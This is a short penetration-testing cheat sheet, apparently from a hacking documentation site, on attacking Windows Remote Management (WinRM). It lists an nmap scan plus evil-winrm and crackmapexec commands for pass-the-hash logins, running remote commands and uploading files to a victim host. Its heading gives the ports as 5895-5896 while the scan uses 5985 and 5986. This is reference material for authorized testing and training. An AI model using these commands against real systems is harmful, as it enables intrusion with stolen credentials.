> For the complete documentation index, see [llms.txt](https://docs.hackjiji.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.hackjiji.org/network-pentesting/network-services/winrm-5895-5896.md).

# WINRM - 5895-5896

## WINRM scanning

```
nmap -p5985,5986 <IP>
```

WINRM exploitation

<pre class="language-bash"><code class="lang-bash"><strong># winrm
</strong><strong>evil-winrm -h
</strong><strong>
</strong><strong># Use NTLM hash with Evil-WinRM to connect
</strong>evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH

#encrypt data with SSL
evil-winrm -i VICTIM_IP -u MyUser -p PASS -s

#load powershell script
evil-winrm -i VICTIM_IP -u MyUser -p PASS -s /path/to/powershell

# Execute a command on a target via WinRM using CrackMapExec
crackmapexec winrm &#x3C;IP> -d &#x3C;Domain Name> -u &#x3C;username> -p &#x3C;password> -x "whoami"

# Upload a file via evil-winrm
# Use the "menu" command in the session to access options like upload, download, etc.
# For example:
menu
Upload &#x3C;file>
</code></pre>

## Resources

{% embed url="<https://www.hackingarticles.in/a-detailed-guide-on-evil-winrm/>" %}